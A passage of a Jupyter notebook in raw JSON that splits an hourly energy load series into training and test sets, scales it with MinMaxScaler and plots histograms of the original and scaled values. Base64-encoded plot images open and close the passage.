7c9k2KistrGWV3OFreOVxJHiZ9szNc3+mbmW200blcSIWHK7aasWtvs6UYVWgvNO2cZ5p2xra5/VI8McKE/ItHpN7lI11hGE+dlNB2UAlqR+ckxZSZzYv9iy54sbGxliYmqGzGR2rtV20/nZTdtt/zx+y/x8H+1OXlm1m470z4nMQxnYiySKdtPZtpc3mJhqbw3C5glQujFl7tqxYfZMzbS9Jtr+6caC820kiU1nYDo9cU1EsKFpbZuW203HRpianmM4Ztr62dpZn7KhkSjvLicO6nQFRuqUxsmi3ZPTLR8jl2pkaIjZuSQz5yuJVuElqedsXDPKxeccx9MesqPlfVaNDHH37Fy1FFIrx/+qkjibzLSZJJ6+Y+F8l63FCEW76dR050+erhQDmyQWk5m0XklsVA7vLCeh2dDizE3N0wB3o4d5y/gYe6baS4hWjxal/n0HZttqybxPu2kXEqINq0e4fU8xyW3Ls5uuasw4OttWlXRkeIg/euJp/FYbFZjGe7DLSqJ6XGMA3D05fZ8TXZ3QOLZOl9eWQOst3pKkleVPnvmQtrYfLa9JnL/c4PDH/0ZL6vRckVy2uwRGu5onrunG2uArxUAmiUMRbbdXNhKAnbunWDs23MbENd2tJG5bt4pb7trXVrLX2HZiarqtGJurbd2YuW/DmlF2NpLEsdZeb23Tdu1eE/r7jzulre0bvyON9Xfa+T+QVpLG7/LuyemWr9lYqvtcW9KHs5tKkg6usU7i/OUGhz/+N2Y3nZlNDsy0twQGwNWXnc3aNoob1QoHUzNkDk6n2EAmiRHF5CIHZltvr2xMOnDvgVnuv7G1hdwBdmya37adxUWXqlHda6dq1mgna7cCGRE86qStbFgzwqnbW585cak2rB7lJ3fcC7TRbrpqfrtWlztZqsaZpV3VOpVWQ9SbGseBXfumuzJxDcD0TPbl7KaSpIMbLddJbOdyg/nZTYuTi+1eFvG4045ua/tqTJxs75KzXjeQSeJQBLvbrPasHh1m3aoR9u6faatUfXzTAtYnbet8IrVtfZHMttMv3Vw1aPdavE+85JFtbX8kNqwZqWYObX1206ZKYocruY3ZTfdU61QOxkFE/adxTJic7vzspvMzF89WE9h4TaIkDYZGJXGmjcsNmme8n56d63gRZrzslru7XK2g09fqrxSD8VMuMBzBHeW1he0kDlvL2TzbuUanedr5jWs7e20PzFcS2zkR33gPdk+2127abc2tu632g29tmoG100niyPAQY8ND89ckDshBRP2nuQK/usN/N42ugH0HZpmZm2MoXGNUkgZFY53E6TYuN2h8BpycLk4udrr7pHFJ1V17i06xTs/ov1IM5KfY4aGoJkBp54P81rLldFMbSWK3S9KNM/CntbFwcyPGPZPTK/o6uubkvNVrIJsrud1IgFePDlWLyDpxjXrV+qYTMp0+hjUG230HZov1rpy0RpIGRqOSeGBmrvr+cBrjxuSB2WJx+w4vSdE4mdkoMA1KkjiQ7abDQ8GvdhdJYjstgVvGiypduzMjveMZZ7B1vLOTPzT8t7OO4Ve7p3jt77S+dGSjbL6/zSUwuq25Ffbko1pr3d3atID10etbv5Z0qVaPDvPrif3V11Iv2rhm/m+t020182eEZ5iezWr9K0lS/2tUEqskcfjwn50aSdrUzCwzs3MdrySOj923kjgon+8GMkkcGY7ql3HzeOsJXyPhaDdJvOTcE9ra/kgcu3kt73jGf25rn+bqYacndzkSxzVVBVttN42Y/8B59n/asuwxLdQc10pOuKVD6WYlsXHdcKPddNS/G0kaGKPDQ8xl0ToKrVUSV481VxKzrXUSl2JoKFg7Nlwtg2eS2MeGm85Ut1Phu+D07fzs7n089aGtLxLaC5orBd1Yy3GpnnD6/QA4adt4W/td9Ihj+emd93ZlmY7mFoSV3LorHUrzJACdTxLnB/tBWqRYkjSfFN5bTkzYTrvp1HTRbtqNZZPGV400VRJX7mfl5TTwSeK2NtYAe/zp23n86ds7EVKt7jMD6Ar+xV8zNsw/vOrRbVdy3/2sh3Yoot/UHJuVRPWq+57s6Fa7aXtr10qSel8jKZyYKpLEltZJHB5iZCiYnJ5lZi6rJTE6ad2qEX5+9z6g9W62XjeQSeJIBLPl183XrA2qLePdmwH0SJ3axoQ8ddi8tngvx4aHnKFRPau5TbtblcR9B2bZPz1nJVGSBshYmeA1Komtfg5dPTrM5IE5pmfmOt5uCsWs3zPlDKyDMk6t7IygQ4aHu/cBqBdsalqaYyUvgdELNpcJ90pPtqVWdXN206mZWSuJkjRAGpfmTEwVM8O3MnENlEli2YHSjc+u401dd4NSSRzI0bi5vVLFH+h4+QvvdXRHZks5EZLJtvrFeIcHw6rd9MCMlURJGjCNMWD3ZOvXJBb7DTExNc2B2TnWdeFzffO8FoMyTg3kJ9mRoeCZDzuGi885ru5QVozx8pffCtiRabSbHpidqzkS6chc8KDi+utHn3pUR19nbHiI4aEo2k2tJErSQGl0k+yaLCaFaTlJHB3m7nuLfdZ2YWLCdat7Y/6O5TSwJbX3XHRm3SGsKFn+240ZQPtZI0mcPDB7mC2lle39lzyMucyOt5tGBGtHh4t20+k5towPxuArSZq/Ln33vrLdtI0ksTHbaKc7XgCO2bQGKD4nD0pBxYxAANxRLgD/8BM21xxJb2tUZI9vWtNR6kXdbJleMzbMZFVJHIw2HklSc7tp45rE1ieu+eWuSaA7lcRTjl4HFB13zZO79bPBSIV1WI1f/tPvv6HmSHrb2Sdu5oIHHc1HXnxO3aFIPWN81Qj3HphhanpuYM7QSpLmk8RdbSaJa8aGubOLlcTG5+RBmrneSqIA+NRLHsnE1MxA/fJ3wtZ1q/jLF55ddxhST9mweoQ9UzPsn5lzxmlJGiBrR4tUpKokttFuWj1HFyauaSSJr378qR1/rZXCJFFAkdxsXbeq7jAkDaANa0bZPTldtJtaSZSkgVFVEtu8JrF5+bbxVZ0/ubh2bIRb3vWUjr/OSuJoLEmq1cY1o+yZnGb/9JzL8EjSAGkkiXsmpxkeCoZb7GhrTBQILm3XKSaJkqRabVwzyj37DnBgdo7VAzK1uCRpvm30wOxcy9cjAmwZn08Su1FJHESOxpKkWm1cM1q1GllJlKTBMTwUVYtpO7NqW0nsPJNESVKtNq6Zv7bEaxIlabA01kpsJ0ncsq45SfTkYic4GkuSatWcJDq7qSQNlrXlcb+tdtOmSuJoG/updb6rkqRaWUmUpMG1egmVxEa76fYNzszfKTbxSpJqdXTTIH//jatrjESS1G1bx8f4yR33tnWS8NjNa3jlfz2Fix5xXAcjG2wmiZKkWp20bV319QnbxmuMRJLUbffbuAa4h/u1cZJwaCh49RNO61xQst1UklSvzU1Tmd9/g5VESRokO8rk8NjNa2qORM1MEiVJK8ZQiwspS5L6Q2MJi3WrRg+zpbrJdlNJUu0+d8V5TE3P1h2GJKkm7Uxco84zSZQk1e5hx2+uOwRJUg0ufdQJ/PD2CS4778S6Q1ETk0RJkiRJtdgyPsb7LnlY3WFoAeu6kiRJkqSKSaIkSZIkqWKSKEmSJEmqmCRKkiRJkiomiZIkSZKkikmiJEmSJKlikihJkiRJqpgkSpIkSZIqJomSJEmSpIpJoiRJkiSpYpIoSZIkSaqYJEqSJEmSKiaJkiRJkqSKSaIkSZIkqWKSKEmSJEmqmCRKkiRJkiomiZIkSZKkikmiJEmSJKkSmVl3DF0XERPAfyxh143A7hW+nzHWu18vxLjU/Yyx3v16Ical7tcLMS51v23AnV16raXu1wvv41L364UYl7qfMda7Xy/EuNT9eiHGpe5njPd1WmauX/SRzBy4G3DDEvf70Erfzxj92Qb5Z+uFGP3ZejPGI/jZVvx40wvvoz+bMa60/XohRn82Y2xhn4OOUbabtueLPbCfMda7Xy/EuNT9jLHe/XohxqXu1wsxHsl+3Xwt3//6Xqvb+xljvfv1QoxL3a8XYlzqfsbYokFtN70hMx9RdxySpP7meCNJWqkONUYNaiXxQ3UHIEkaCI43kqSV6qBj1EBWEiVJkiRJixvUSmJHRMSWiPh8RNwbEbdGxPPK+x8XEf8WEbsi4q5ym2PqjrffRMQrIuKGiNgfEf9nwWPnR8RNEbEvIr4WESfUFGbfOtj7HxGXRMTeptu+iMiIeHiN4faViFgVEVeVx52JiPhuRDxpke2uLN/7C+qIU+qUg42/5WOvjIifRsSe8hj1W3XG2o8Ocfw/sTzmNI8Bb6ox1L50qDEgIh4ZEV+JiLsj4o6I+ExE3L/umPvJ4cbgiLg8In5c/v5fFxE76oy3VSaJy+t9wAFgO3AJ8IGIeDDw78ATM3MTsAP4EfCB2qLsX7cBbwf+qvnOiNgGfA54E7AFuAH4VNej63+Lvv+ZeW1mrmvcgCuAnwD/WkOM/WoE+DnwGIopsN8IfDoiTmxsEBEnA88GflVDfFKnLTr+RsS5wLuAZ1H8bVwFfD4ihmuLtD8tevxvsqlpHHhbF+MaFIcaAzZTtBSeCJwATABX1xFkHzvo+x8RjwXeCTyd4jPoT4FP1BRnW2w3XSYRMQ7cA5yRmT8s77sG+GVmvr5pu1XAW4CnZ+bpdcTa7yLi7cCxmfmi8vuXAC/KzPPK78cp1i07KzNvqi3QPrXw/V/k8a8B12fmW7sa2ICJiO8Db83Mz5bfXwe8F3g/cHlmfrXO+KTlcqjxF/gO8OrMPKdp273Ajsz0hMkyW2T8PZHiQ/FoZs7UF9ngWTgGNN3/MODrebC18bQsGu8/8ChgTWb+fnn/Dopj0ymZeXONIR6WlcTlcyow0xigSt8DHgwQEcdHxC5gEngN8O7uhziwHkzxfwFAZt4L3Fzery4q23wfDXy07lj6WURspzgm3Vh+/2xgf2b+Xa2BSZ1xqPH374HhiDi3rB6+GPgusLP7YQ60WyPiFxFxddndow5aOAYs8OiD3K9lssj7H80Pl/+e0dWglmCk7gD6yDpgz4L7dgPrATLzZ8CmiNgC/B5gBat71gF3LLiv+r9RV70A+KfM/GndgfSriBgFrgU+kpk3RcR6ilaXx9cbmdQxhxp/J4DPAv+X4sPZLuBJaRtVt9wJnE2RmG+laAu+FnhinUH1s4VjwILHHgJcSdH6qA5YZAy+DvhkRHyQ4nKzK4EE1tYYZkusJC6fvcCGBfdtoBigKpl5N/AR4G8iwiS9O1r6v1FXvIDi918dEBFDwDUU12a9orz7LcA1mXlLTWFJnXaoY/zvApdRVBXHgOcDX+qViSN6XWbuzcwbMnMmM2+nOC49oTx5pWV2kDGg8dgpFJX1P8zMf6ohvL632PtfXtrxZoqTVbeUtwngF7UE2QaTxOXzQ2AkIh7QdN9DWbykPwIczW8OauqMGyn+L4DqmpSTsd2iqyLiv1BM3PTXdcfSjyIiKCbl2A5cmJnT5UPnA38QETsjYidwHMUF9a+rKVRpuR1q/D0T+FJm/jAz5zLzOorJm86rIU4VFRTw8+eyO8QY0LjU46vA2zLzmppC7GuHev8z832Z+YDM3E6RLI4AP6gn0tb5R7pMyuvcPgf8cUSMlx+Inw5cExHPjIjTImIoIo4C3gN8p6wqaplExEhErAaGKa5BWV1Waz8PnBERF5aPXwl830lrltch3v+GFwKfzUwruJ3xAeBBwNMyc7Lp/vMprn04s7zdBryUou1L6nmHGn+BbwNPiYiTovB4imuFVvwHtF5ysON/eS1o4/PPVorJs67PzN31RtyXFh0Dolhy7R+BP8/MD9YV3AA42Pu/OiLOKI8/x1PMNPu/M/OeugJtlUni8roCWAP8mmJ625dn5o3AMcB1FOXlfwPmgGfUFWQfeyPFxECvp2gpmgTemJl3ABcC76CYAe9c4Ll1BdnHFn3/oThIAhdhq2lHlGeJX0qRBO6M+fXILsnMuzJzZ+MGzAL3ZObeWoOWltfBxt+PAp8Erqe4bvG9wEs9SbjsDnb8P4n5zz8/APYDF9cUY9861BgAXE7x//CWpvs9/i+jw7z/q4GPU7TF/zPwTYol2VY8l8CQJEmSJFWsJEqSJEmSKiaJkiRJkqSKSaIkSZIkqWKSKEmSJEmqmCRKkiRJkiomiZIkSZKkikmiJEmSJKlikihJkiRJqpgkSpIkSZIqJomSJEmSpIpJoiRJkiSpYpIoSZIkSaqYJEqSJEmSKiaJkiRJkqSKSaIkSZIkqWKSKEmSJEmqmCRKkiRJkiomiZIkSZKkikmiJEmSJKlikihJkiRJqpgkSpIkSZIqJomSJEmSpEpfJYkRcUtE/Doixpvuuzwirq8xLElSnynHm8mImIiIXRHxjYh4WUT01bgqSRpM/TiYDQN/WHcQkqS+97TMXA+cALwLeB1wVb0hSZJ05PoxSfxT4DURsWnhAxFxXkR8OyJ2l/+eV97/nIi4YcG2r4qIv+1SzJKkHpWZuzPzb4HnAC+MiDMiYlVE/M+I+FlE3B4RH4yINY19IuLpEfHdiNgTETdHxO/U9xNIknRf/Zgk3gBcD7ym+c6I2AJ8GXgvsBV4D/DliNgKfBE4LSIe0LTL84CPdyNgSVLvy8x/Bn4B/DZFZfFU4EzgFOAY4EqAiDgH+CjwR8Am4NHALd2PWJKkxfVjkgjFQPzKiDiq6b6nAD/KzGsycyYzPwHcRNEutA/4G+BigDJZfCBgJVGS1I7bgC3AS4BXZebdmTkBvBN4brnN7wJ/lZlfycy5zPxlZt5UU7ySJP2GvkwSM/MHwJeA1zfdvQO4dcGmt1Kc3YWianhx+fXzgC+UyaMkSa06BhgB1gL/Uk5qswu4DmicuDwOuLmm+CRJOqy+TBJLbwZ+j/kk8DaKyQWaHQ/8svz6K8BREXEmRbJoq6kkqWURcTbFmPMFYBJ4cGZuKm8bM3NduenPgZPrilOSpMPp2yQxM38MfAr4g/KuvwNOjYjnRcRIRDwHOJ2i4khmTgOfoZj4ZgtF0ihJ0iFFxIaIeCrwSeBjmfk94MPAn0XE0eU2x0TEE8tdrgIui4jzI2KofOyB9UQvSdJv6tsksfTHwDhAZt4FPBV4NXAX8FrgqZl5Z9P2HwcuAD6TmTNdjlWS1Fu+GBETFJXB/04xIdpl5WOvA34MfCsi9gBfBU6DaoKby4A/A3YDX+c3O10kSapNZGbdMUiSJEmSVoh+ryRKkiRJktpgkihJkiRJqpgkSpIkSZIqJomSJEmSpIpJoiRJkiSp0tNJYkSsioirIuLWiJiIiO9GxJOaHj8/Im6KiH0R8bWIOKHpsYsi4hvlY9cf4jVeEBEZEZd3+MeRJEmSpNr1dJIIjFCsT/UYYCPwRuDTEXFiRGwDPge8CdgC3AB8qmnfu4H/BbzrYE8eEZuBNwA3diR6SZIkSVph+m6dxIj4PvBWYCvwosw8r7x/HLgTOCszb2ra/nLg+Zn52EWe64PA94GLgI9l5l92/ieQJEmSpPr0eiXxPiJiO3AqReXvwcD3Go9l5r3AzeX9rTzXOcAjgA8uf6SSJEmStDL1TZIYEaPAtcBHykrhOmD3gs12A+tbeK5h4P3AKzJzbrljlSRJkqSVqi+SxIgYAq4BDgCvKO/eC2xYsOkGYKKFp7wC+H5mfmvZgpQkSZKkHjBSdwBHKiICuArYDjw5M6fLh24EXti03ThwMq1NQnM+8JiIeHL5/RbgrIg4MzNfcYj9JEmSJKmn9XySCHwAeBBwQWZONt3/eeBPI+JC4MvAlRTVwZugaikdpXgPhiJiNTBbJpkvAlY3PdfngL+mSEYlSZIkqW/1dLtpue7hS4EzgZ0Rsbe8XZKZdwAXAu8A7gHOBZ7btPulwCRFkvnb5dcfBsjMXZm5s3GjaGPdk5kLr3GUJEmSpL7Sd0tgSJIkSZKWrqcriZIkSZKk5WWSKEmSJEmqmCRKkiRJkiomiZIkSZKkikmiJEmSJKlikihJkiRJqpgkSpIERMTx5Vq7w3XHIklSnUwSJUkDKyJuiYgLADLzZ5m5LjNnu/j6j42IX3Tr9SRJaoVJoiRJkiSpYpIoSRpIEXENcDzwxbLN9LURkRExUj5+fUS8PSK+UT7+xYjYGhHXRsSeiPh2RJzY9HwPjIivRMTdEfEfEXFR02NPjoh/j4iJiPhlRLwmIsaBvwd2lM+/NyJ2RMQ5EfHNiNgVEb+KiD+PiLGm58qIuCIiflQ+39si4uQyzj0R8enG9o1KZUS8ISLuLCunl3TnHZYk9SqTREnSQMrMS4GfAU/LzHXApxfZ7LnApcAxwMnAN4GrgS3A/wPeDFAmfF8BPg4cXe73/og4vXyeq4CXZuZ64AzgHzPzXuBJwG1lm+u6zLwNmAVeBWwDHgWcD1yxIK4nAg8HHgm8FvgQ8HzguPL5L27a9n7lcx0DvBD4UESc1tabJUkaKCaJkiQd3NWZeXNm7qao+t2cmV/NzBngM8BZ5XZPBW7JzKszcyYzvwN8Fnh2+fg0cHpEbMjMezLzXw/2gpn5L5n5rfJ5bgH+AnjMgs3enZl7MvNG4AfAP2TmT5riPGvB9m/KzP2Z+XXgy8BFSJJ0ECaJkiQd3O1NX08u8v268usTgHPLFtFdEbELuISiigdwIfBk4NaI+HpEPOpgLxgRp0bElyJiZ0TsAd5JUQlcSlwA95RVy4ZbgR0He31JkkwSJUmDLJfpeX4OfD0zNzXd1mXmywEy89uZ+XSKVtQvMN/autjrfwC4CXhAZm4A3gDEEcS2uWyHbTgeuO0Ink+S1OdMEiVJg+x24KRleJ4vAadGxKURMVrezo6IB0XEWERcEhEbM3Ma2APMNb3+1ojY2PRc68tt9kbEA4GXL0N8by3j+G2K1tjPLMNzSpL6lEmiJGmQ/QnwxrI99FlLfZLMnACeQDFhzW3ATuB/AKvKTS4FbinbR19G0YpKZt4EfAL4SdmmugN4DfA8YAL4MPCppcZV2gncU8Z1LfCy8nUlSVpUZC5Xp40kSVpJIuKxwMcy89i6Y5Ek9Q4riZIkSZKkikmiJEmSJKliu6kkSZIkqWIlUZIkSZJUMUmUJEmSJFVMEiVJkiRJFZNESZIkSVLFJFGSJEmSVDFJlCRJkiRV/j9YJ750IxgAtQAAAABJRU5ErkJggg==", "text/plain": [ "<Figure size 1080x576 with 1 Axes>" ] }, "metadata": { "needs_background": "light" } } ], "metadata": {} }, { "cell_type": "code", "execution_count": 22, "source": [ "train = energy.copy()[(energy.index >= train_start_dt) & (energy.index < test_start_dt)][['load']]\n", "test = energy.copy()[energy.index >= test_start_dt][['load']]\n", "\n", "print('Training data shape: ', train.shape)\n", "print('Test data shape: ', test.shape)" ], "outputs": [ { "output_type": "stream", "name": "stdout", "text": [ "Training data shape: (1416, 1)\n", "Test data shape: (48, 1)\n" ] } ], "metadata": {} }, { "cell_type": "code", "execution_count": 23, "source": [ "scaler = MinMaxScaler()\n", "train['load'] = scaler.fit_transform(train)\n", "train.head(10)" ], "outputs": [ { "output_type": "execute_result", "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>load</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>2014-11-01 00:00:00</th>\n", " <td>0.10</td>\n", " </tr>\n", " <tr>\n", " <th>2014-11-01 01:00:00</th>\n", " <td>0.07</td>\n", " </tr>\n", " <tr>\n", " <th>2014-11-01 02:00:00</th>\n", " <td>0.05</td>\n", " </tr>\n", " <tr>\n", " <th>2014-11-01 03:00:00</th>\n", " <td>0.04</td>\n", " </tr>\n", " <tr>\n", " <th>2014-11-01 04:00:00</th>\n", " <td>0.06</td>\n", " </tr>\n", " <tr>\n", " <th>2014-11-01 05:00:00</th>\n", " <td>0.10</td>\n", " </tr>\n", " <tr>\n", " <th>2014-11-01 06:00:00</th>\n", " <td>0.19</td>\n", " </tr>\n", " <tr>\n", " <th>2014-11-01 07:00:00</th>\n", " <td>0.31</td>\n", " </tr>\n", " <tr>\n", " <th>2014-11-01 08:00:00</th>\n", " <td>0.40</td>\n", " </tr>\n", " <tr>\n", " <th>2014-11-01 09:00:00</th>\n", " <td>0.48</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " load\n", "2014-11-01 00:00:00 0.10\n", "2014-11-01 01:00:00 0.07\n", "2014-11-01 02:00:00 0.05\n", "2014-11-01 03:00:00 0.04\n", "2014-11-01 04:00:00 0.06\n", "2014-11-01 05:00:00 0.10\n", "2014-11-01 06:00:00 0.19\n", "2014-11-01 07:00:00 0.31\n", "2014-11-01 08:00:00 0.40\n", "2014-11-01 09:00:00 0.48" ] }, "metadata": {}, "execution_count": 23 } ], "metadata": {} }, { "cell_type": "markdown", "source": [ "Original vs scaled data:" ], "metadata": {} }, { "cell_type": "code", "execution_count": 24, "source": [ "energy[(energy.index >= train_start_dt) & (energy.index < test_start_dt)][['load']].rename(columns={'load':'original load'}).plot.hist(bins=100, fontsize=12)\n", "train.rename(columns={'load':'scaled load'}).plot.hist(bins=100, fontsize=12)\n", "plt.show()" ], "outputs": [ { "output_type": "display_data", "data": { "image/png": "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